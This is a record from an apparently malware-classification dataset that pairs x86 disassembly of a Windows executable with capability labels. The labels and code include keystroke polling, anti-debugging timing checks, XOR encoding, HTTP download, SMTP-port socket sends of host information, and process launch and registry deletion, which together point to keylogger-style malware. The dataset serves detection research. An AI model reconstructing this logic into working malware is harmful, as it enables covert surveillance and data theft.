joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407598
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40768a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4076a0
push dword [ebp - 4]
push 0x4076c4
mov eax, ebx
mov edx, 3
call fcn.0040405c
xor eax, eax
push ebp
push 0x40766a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x22]
xor ecx, ecx
mov edx, 0x1e
call fcn.00402e48
lea eax, [ebp - 0x122]
xor ecx, ecx
mov edx, 0x100
call fcn.00402e48
lea eax, [ebp - 0x122]
mov edx, dword [ebp - 4]
call fcn.00408368
xor eax, eax
mov dword [ebp - 0x22], eax
lea eax, [ebp - 0x122]
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x1e], 3
mov word [ebp - 0x12], pe_nt_image_headers32
or word [ebp - 0x12], 0x10
or word [ebp - 0x12], 4
lea eax, [ebp - 0x22]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
jne 0x407660
push 0x4076d0
push dword [ebp - 4]
push 0x4076e4
mov eax, ebx
mov edx, 3
call fcn.0040405c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x407674
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407691
lea eax, [ebp - 4]
call fcn.00403e18
ret
Function at 0x407eec
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
push 0x407f48
push 0x80000001
call sub.user32.dll_LoadCursorA
push 0x407f84
mov eax, dword [esp + 8]
push eax
call sub.user32.dll_GetWindowTextA
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetMessageA
push 0
lea eax, [esp + 4]
push eax
push 1
push 0x61
call fcn.00404f20
mov eax, ebx
mov edx, 0x407f94
call fcn.00403e6c
pop ecx
pop edx
pop ebx
ret

Function at 0x4086a4
Capabilities:
Enumerate gui resources
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x408753
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00404d00
push eax
call fcn.00404d28
mov ebx, eax
call fcn.00404d08
push eax
call fcn.00404d48
mov esi, eax
push 0x100
call fcn.00404d00
push eax
call sub.user32.dll_EnableWindow
push 0xf
call fcn.00404d08
push eax
call sub.user32.dll_EnumDisplaySettingsA
push 0xa
call sub.user32.dll_EnumWindows
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.user32.dll_EnumWindows
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push esi
call fcn.00404d08
push eax
call sub.user32.dll_EnumDisplaySettingsA
push ebx
call fcn.00404d00
push eax
call sub.user32.dll_EnableWindow
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fdiv dword [0x408768]
fstp qword [ebp - 0x10]
wait
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40875d
fld qword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408814
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaa0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
mov eax, dword [ebp - 8]
call fcn.0040418c
xor eax, eax
push ebp
push 0x408975
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0x408988
push 0x408988
push 0
push 0x40898c
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40895a
push 0
push 0x20000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040419c
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40889f
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
jmp 0x40895a
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x560]
call fcn.00402b54
xor eax, eax
push ebp
push 0x4088da
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 1
lea eax, [ebp - 0x560]
call fcn.00403220
call fcn.004025b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4088e4
lea eax, [ebp - 0xc]
push eax
push 0x400
lea eax, [ebp - 0x414]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetReadFile
mov ebx, eax
cmp ebx, 1
sbb ebx, ebx
neg ebx
test bl, bl
jne 0x40892b
cmp dword [ebp - 0xc], 0
jbe 0x40892b
push 0
lea edx, [ebp - 0x414]
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x560]
call fcn.00402ca4
call fcn.004025b8
test bl, bl
jne 0x408935
cmp dword [ebp - 0xc], 0
jne 0x4088e4
lea eax, [ebp - 0x560]
call fcn.00402cc4
call fcn.004025b8
xor bl, 1
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40897c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e3c
ret

Function at 0x408c84
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe30
mov ebp, eax
lea eax, [esp + 0x40]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, ebp
call fcn.00403e18
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname
push esp
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408ce0
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x408cd4
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, ebp
call fcn.00403f48
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x408cc3
call sub.wsock32.dll_WSACleanup
add esp, 0x1d0
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x408f48
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
xor eax, eax
push ebp
push 0x408fd9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00408654
cmp al, 1
jne 0x408faa
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040419c
push eax
push 0x408fe4
push 0
call sub.shell32.dll_ShellExecuteA
push 0x408ff4
push dword [ebp - 4]
push 0x409004
mov eax, ebx
mov edx, 3
call fcn.0040405c
jmp 0x408fc3
push 0x408ff4
push dword [ebp - 4]
push 0x409018
mov eax, ebx
mov edx, 3
call fcn.0040405c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408fe0
lea eax, [ebp - 4]
call fcn.00403e18
ret

Function at 0x40910c
Capabilities:
Enumerate gui resources
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.0040418c
xor eax, eax
push ebp
push 0x409186
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov dx, 0x89ef
mov eax, dword [ebp - 4]
call fcn.0040a588
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.00403eb0
push 0
mov eax, dword [ebp - 4]
call fcn.00403f9c
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.wsock32.dll_send
mov ebx, eax
push 0x64
call sub.user32.dll_EnumWindows
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40918d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e3c
ret

Function at 0x409234
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xffffff7c
mov ebx, eax
push 0x80
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname
test eax, eax
jne 0x40925e
mov eax, ebx
mov edx, esp
mov ecx, 0x81
call fcn.00403f84
add esp, 0x84
pop ebx
ret
Function at 0x409b4c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Enumerate gui resources
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
mov eax, dword [ebp - 8]
call fcn.0040418c
mov eax, dword [ebp - 0xc]
call fcn.0040418c
xor eax, eax
push ebp
push 0x409d6e
push dword fs:[eax]
mov dword fs:[eax], esp
mov word [ebp - 0x20], 2
push 0x19
call sub.wsock32.dll_htons
mov word [ebp - 0x1e], ax
mov eax, dword [ebp - 4]
call fcn.0040419c
mov esi, eax
push esi
call sub.wsock32.dll_inet_addr
mov ebx, eax
mov dword [ebp - 0x1c], ebx
inc ebx
jne 0x409bd8
push esi
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x409d46
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0x8004667e
push ebx
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x20]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
jne 0x409d40
mov edx, 0x409d84
mov eax, ebx
call fcn.0040910c
push 0x64
call sub.user32.dll_EnumWindows
push 0x409d98
push dword [ebp - 0xc]
push 0x409dac
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.0040405c
mov edx, dword [ebp - 0x24]
mov eax, ebx
call fcn.0040910c
push 0x64
call sub.user32.dll_EnumWindows
push 0x409db8
push dword [ebp - 8]
push 0x409dac
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.0040405c
mov edx, dword [ebp - 0x28]
mov eax, ebx
call fcn.0040910c
push 0x64
call sub.user32.dll_EnumWindows
mov edx, 0x409dcc
mov eax, ebx
call fcn.0040910c
push 0x64
call sub.user32.dll_EnumWindows
push 0x409ddc
push dword [ebp - 0xc]
push 0x409dac
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.0040405c
mov edx, dword [ebp - 0x2c]
mov eax, ebx
call fcn.0040910c
push 0x64
call sub.user32.dll_EnumWindows
push 0x409dec
push dword [ebp - 8]
push 0x409dac
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.0040405c
mov edx, dword [ebp - 0x30]
mov eax, ebx
call fcn.0040910c
push 0x64
call sub.user32.dll_EnumWindows
push 0x409df8
lea eax, [ebp - 0x38]
call fcn.00408c84
push dword [ebp - 0x38]
push 0x409dac
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.0040405c
mov edx, dword [ebp - 0x34]
mov eax, ebx
call fcn.0040910c
push 0x64
call sub.user32.dll_EnumWindows
mov edx, 0x409e14
mov eax, ebx
call fcn.0040910c
push 0x1f4
call sub.user32.dll_EnumWindows
mov edx, 0x409e20
mov eax, ebx
call fcn.0040910c
push 0x1f4
call sub.user32.dll_EnumWindows
jmp 0x409d46
push ebx
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409d75
lea eax, [ebp - 0x38]
mov edx, 6
call fcn.00403e3c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403e3c
ret
Function at 0x40a16c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, ecx
mov ebx, edx
mov dword [esp], eax
mov eax, ebp
mov edx, dword [esp]
call fcn.00403e6c
mov esi, ebx
mov eax, dword [ebp]
call fcn.00403f9c
test ax, ax
jbe 0x40a1d7
mov word [esp + 4], ax
mov bx, 1
mov eax, ebp
call fcn.004041f4
movzx edi, bx
mov edx, dword [ebp]
mov dl, byte [edx + edi - 1]
movzx ecx, si
shr ecx, 8
xor dl, cl
mov byte [eax + edi - 1], dl
mov eax, dword [esp]
movzx eax, byte [eax + edi - 1]
add si, ax
imul ax, si, 0xce6d
add ax, 0x58bf
mov esi, eax
inc ebx
dec word [esp + 4]
jne 0x40a19c
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40a520
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
mov eax, esi
mov edx, ebx
call fcn.00403e6c
mov eax, dword [esi]
call fcn.00403f9c
test ax, ax
jbe 0x40a580
mov word [esp], ax
mov bx, 1
mov eax, esi
call fcn.004041f4
movzx ebp, bx
mov edx, dword [esi]
mov dl, byte [edx + ebp - 1]
movzx ecx, di
shr ecx, 8
xor dl, cl
mov byte [eax + ebp - 1], dl
mov eax, dword [esi]
movzx eax, byte [eax + ebp - 1]
add di, ax
imul ax, di, 0xce6d
add ax, 0x58bf
mov edi, eax
inc ebx
dec word [esp]
jne 0x40a548
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40b50c
Capabilities:
Create process on windows

Disassembly:
push 0
push 0
push 0x40b528
push 0x40b53c
push 0x40b544
push 0
call sub.shell32.dll_ShellExecuteA
ret

Function at 0x40b554
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
mov eax, dword [ebp - 8]
call fcn.0040418c
mov eax, dword [ebp - 0xc]
call fcn.0040418c
mov eax, dword [ebp + 8]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40b63d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.0040419c
push eax
call sub.advapi32.dll_RegCloseKey
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40b61a
xor edx, edx
push ebp
push 0x40b613
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
call fcn.0040419c
push eax
push 0
push 2
push 0x10
push 0xf01ff
mov eax, dword [ebp - 0xc]
call fcn.0040419c
push eax
mov eax, dword [ebp - 8]
call fcn.0040419c
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegEnumValueA
push eax
call sub.advapi32.dll_RegDeleteValueA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b61a
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegDeleteValueA
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b644
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403e3c
lea eax, [ebp + 8]
call fcn.00403e18
ret
Function at 0x40b64c
Capabilities:
Delete registry value
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
mov eax, dword [ebp - 8]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40b701
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.0040419c
push eax
call sub.advapi32.dll_RegCloseKey
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b6e6
xor eax, eax
push ebp
push 0x40b6df
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 8]
call fcn.0040419c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegOpenKeyExA
mov ebx, eax
push ebx
call sub.advapi32.dll_RegQueryInfoKeyA
push ebx
call sub.advapi32.dll_RegDeleteValueA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b6e6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteValueA
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b708
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e3c
ret

Function at 0x40b710
Capabilities:
Delete registry value
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
mov eax, dword [ebp - 8]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40b7cb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.0040419c
push eax
call sub.advapi32.dll_RegCloseKey
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b7b0
xor eax, eax
push ebp
push 0x40b7a9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 8]
call fcn.0040419c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegOpenKeyExA
mov ebx, eax
lea eax, [ebp - 0x28]
push eax
push 1
push ebx
call sub.advapi32.dll_RegEnumKeyExA
push ebx
call sub.advapi32.dll_RegDeleteValueA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b7b0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteValueA
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b7d2
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e3c
ret
Function at 0x40b7d8
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
mov eax, dword [ebp - 8]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40b898
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.0040419c
push eax
call sub.advapi32.dll_RegCloseKey
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b87d
xor eax, eax
push ebp
push 0x40b876
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 8]
call fcn.0040419c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegOpenKeyExA
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
push ebx
call sub.advapi32.dll_RegQueryValueExA
push ebx
call sub.advapi32.dll_RegDeleteValueA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b87d
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteValueA
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b89f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e3c
ret
Function at 0x40b8a4
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x40b8ad
mov eax, dword [ebp - 4]
add esp, 0xfffff7e0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x4820], ecx
mov dword [ebp - 0x4824], ecx
mov dword [ebp - 0x4818], ecx
mov dword [ebp - 0x481c], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40ba54
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.0040419c
push eax
call sub.advapi32.dll_RegCloseKey
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40ba2e
xor eax, eax
mov dword [ebp - 0x14], eax
xor edx, edx
push ebp
push 0x40ba27
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x4800
lea eax, [ebp - 0x4814]
push eax
push 3
push 0x30
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
mov esi, dword [ebp - 0x10]
dec esi
test esi, esi
jl 0x40ba00
inc esi
lea ebx, [ebp - 0x4808]
cmp dword [ebx], 4
jne 0x40b9b1
push dword [edi]
lea eax, [ebp - 0x4818]
mov edx, dword [ebx - 0xc]
call fcn.00403f48
push dword [ebp - 0x4818]
push 0x40ba6c
lea eax, [ebp - 0x481c]
mov edx, dword [ebx - 8]
call fcn.00403f48
push dword [ebp - 0x481c]
push 0x40ba78
push 0x40ba8c
mov eax, edi
mov edx, 6
call fcn.0040405c
jmp 0x40b9f6
push dword [edi]
lea eax, [ebp - 0x4820]
mov edx, dword [ebx - 0xc]
call fcn.00403f48
push dword [ebp - 0x4820]
push 0x40ba6c
lea eax, [ebp - 0x4824]
mov edx, dword [ebx - 8]
call fcn.00403f48
push dword [ebp - 0x4824]
push 0x40ba98
push 0x40ba8c
mov eax, edi
mov edx, 6
call fcn.0040405c
add ebx, 0x24
dec esi
jne 0x40b965
cmp dword [ebp - 0xc], 0
jne 0x40b92d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ba2e
cmp dword [ebp - 8], 0
jbe 0x40ba26
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegDeleteValueA
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ba5b
lea eax, [ebp - 0x4824]
mov edx, 4
call fcn.00403e3c
lea eax, [ebp - 4]
call fcn.00403e18
ret

Function at 0x40bca0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
call fcn.00408994
cmp al, 1
jne 0x40bd19
push esp
push 0x28
call fcn.00404d00
push eax
call sub.user32.dll_GetKeyState
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x40bd19
lea eax, [esp + 0xc]
push eax
push 0x40bd2c
push 0
call sub.user32.dll_GetForegroundWindow
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x40bd19
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.user32.dll_GetAsyncKeyState
push 0
push ebx
call fcn.00404e48
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret
Function at 0x40bf24
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40bfd1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0xc]
mov dx, 0x89ef
mov eax, dword [ebp - 8]
call fcn.0040a588
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00403eb0
cmp dword [ebp - 8], 0
je 0x40bfb6
xor edi, edi
xor ebx, ebx
mov eax, dword [ebp - 8]
call fcn.00403f9c
mov esi, eax
push 0
mov eax, esi
sub eax, ebx
push eax
lea eax, [ebp - 8]
call fcn.004041f4
add eax, ebx
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_send
cmp eax, 0xffffffff
jne 0x40bfab
inc edi
call sub.wsock32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x40bfb6
jmp 0x40bfad
add ebx, eax
cmp esi, ebx
jle 0x40bfb6
cmp edi, 0x64
jle 0x40bf7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfd8
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403e3c
ret
Function at 0x40bfe0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7c4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x838], ebx
mov dword [ebp - 0x83c], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
mov eax, dword [ebp - 8]
call fcn.0040418c
mov eax, dword [ebp - 0xc]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40c1e9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40c053
mov word [ebp - 0x24], 2
mov word [ebp - 0x22], 0
push 0
call sub.wsock32.dll_htonl
mov dword [ebp - 0x20], eax
push 0x10
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_bind
inc eax
jne 0x40c06a
call fcn.00403cac
mov word [ebp - 0x34], 2
mov eax, dword [ebp - 0xc]
call fcn.00408420
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x32], ax
mov eax, dword [ebp - 8]
call fcn.0040419c
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x30], eax
push 0x10
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_connect
inc eax
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x40c0e2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.0040419c
push eax
call fcn.00404cb0
mov esi, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c0ff
push 0
push 0x800
lea eax, [ebp - 0x834]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_recv
mov ebx, eax
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x834]
push eax
push esi
call sub.user32.dll_FindWindowExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x40c148
cmp ebx, 0xffffffff
je 0x40c148
test ebx, ebx
je 0x40c148
cmp byte [0x418210], 0
je 0x40c0ff
push 0x40c200
lea edx, [ebp - 0x83c]
mov eax, dword [ebp - 4]
call fcn.0040be8c
push dword [ebp - 0x83c]
push 0x40c21c
lea eax, [ebp - 0x838]
mov edx, 3
call fcn.0040405c
mov edx, dword [ebp - 0x838]
mov eax, dword [0x419728]
call fcn.0040bf24
push esi
call fcn.00404ca0
xor eax, eax
push ebp
push 0x40c1ad
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c1b7
mov byte [0x418210], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c1f0
lea eax, [ebp - 0x83c]
mov edx, 2
call fcn.00403e3c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403e3c
ret